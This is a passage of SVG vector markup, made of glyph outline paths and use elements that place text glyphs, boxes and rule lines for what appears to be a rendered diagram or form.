5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="F"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="G"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="H"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="I"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="J"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="K"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="L"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="M"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="N"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="O"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="P"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Q"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="S"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="T"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="U"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="V"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="W"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="X"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol></defs><path fill="#fff" d="M0 0H707V478H0z"/><path d="M 24.194 15.513817 L 59.46568 15.513817 L 59.46568 38.091747 L 24.194 38.091747 Z M 24.194 15.513817" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 57.890625 44.359375 L 187.191406 44.359375 L 187.191406 70.609375 L 57.890625 70.609375 Z M 57.890625 44.359375" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="57.891" y="65.012"/><use xlink:href="#b" x="66.367" y="65.012"/><use xlink:href="#c" x="75" y="65.012"/><use xlink:href="#d" x="81.758" y="65.012"/><use xlink:href="#e" x="87.266" y="65.012"/><use xlink:href="#f" x="95.273" y="65.012"/><use xlink:href="#g" x="99.941" y="65.012"/><use xlink:href="#h" x="109.395" y="65.012"/><use xlink:href="#h" x="118.047" y="65.012"/><use xlink:href="#i" x="126.699" y="65.012"/><use xlink:href="#j" x="132.188" y="65.012"/><use xlink:href="#c" x="140.449" y="65.012"/><use xlink:href="#c" x="147.207" y="65.012"/><use xlink:href="#k" x="153.965" y="65.012"/><use xlink:href="#l" x="160.879" y="65.012"/><use xlink:href="#m" x="168.398" y="65.012"/><use xlink:href="#j" x="177.09" y="65.012"/><path d="M 26.601422 18.296239 L 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 36.158153 L 57.058062 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 18.296239 L 26.601422 18.296239 C 26.435797 18.296239 26.301422 18.430419 26.301422 18.596239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 18.596239 C 57.358062 18.430419 57.223883 18.296239 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 18.596239 L 26.301422 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 35.858153 L 26.301422 35.858153 C 26.301422 36.023778 26.435797 36.158153 26.601422 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.058062 36.158153 L 57.058062 36.158153 C 57.223883 36.158153 57.358062 36.023778 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="146.359"/><use xlink:href="#o" x="93.102" y="146.359"/><use xlink:href="#o" x="102.008" y="146.359"/><use xlink:href="#p" x="110.914" y="146.359"/><use xlink:href="#q" x="116.773" y="146.359"/><use xlink:href="#r" x="125.328" y="146.359"/><use xlink:href="#s" x="132.32" y="146.359"/><use xlink:href="#t" x="136.422" y="146.359"/><use xlink:href="#u" x="141.285" y="146.359"/><use xlink:href="#v" x="145.777" y="146.359"/><use xlink:href="#q" x="154.762" y="146.359"/><use xlink:href="#s" x="163.316" y="146.359"/><use xlink:href="#w" x="167.418" y="146.359"/><path d="M 197.308594 118.835938 L 605.308594 118.835938 L 605.308594 158.835938 L 197.308594 158.835938 Z M 197.308594 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 124.835938 L 197.308594 118.835938 C 193.996094 118.835938 191.308594 121.519531 191.308594 124.835938 Z M 197.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 124.835938 L 611.308594 124.835938 C 611.308594 121.519531 608.625 118.835938 605.308594 118.835938 Z M 605.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 124.835938 L 611.308594 124.835938 L 611.308594 152.835938 L 191.308594 152.835938 Z M 191.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 152.835938 L 191.308594 152.835938 C 191.308594 156.148438 193.996094 158.835938 197.308594 158.835938 Z M 197.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 152.835938 L 605.308594 158.835938 C 608.625 158.835938 611.308594 156.148438 611.308594 152.835938 Z M 605.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 20.172997 L 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 22.172997 L 54.40943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 20.172997 L 34.00943 20.172997 C 33.843805 20.172997 33.70943 20.307177 33.70943 20.472997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 20.472997 C 54.70943 20.307177 54.57525 20.172997 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 20.472997 L 33.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 21.872997 L 33.70943 21.872997 C 33.70943 22.038622 33.843805 22.172997 34.00943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 22.172997 L 54.40943 22.172997 C 54.57525 22.172997 54.70943 22.038622 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.308594 161.433594 L 432.507812 161.433594 L 432.507812 184.832031 L 191.308594 184.832031 Z M 191.308594 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#x" x="191.309" y="179.836"/><use xlink:href="#y" x="199.004" y="179.836"/><use xlink:href="#z" x="203.945" y="179.836"/><use xlink:href="#A" x="208.887" y="179.836"/><use xlink:href="#A" x="216.211" y="179.836"/><use xlink:href="#y" x="223.652" y="179.836"/><use xlink:href="#B" x="228.594" y="179.836"/><use xlink:href="#C" x="232.402" y="179.836"/><use xlink:href="#D" x="239.609" y="179.836"/><use xlink:href="#D" x="247.402" y="179.836"/><use xlink:href="#z" x="255.195" y="179.836"/><use xlink:href="#A" x="260.137" y="179.836"/><use xlink:href="#E" x="267.578" y="179.836"/><use xlink:href="#E" x="273.652" y="179.836"/><use xlink:href="#F" 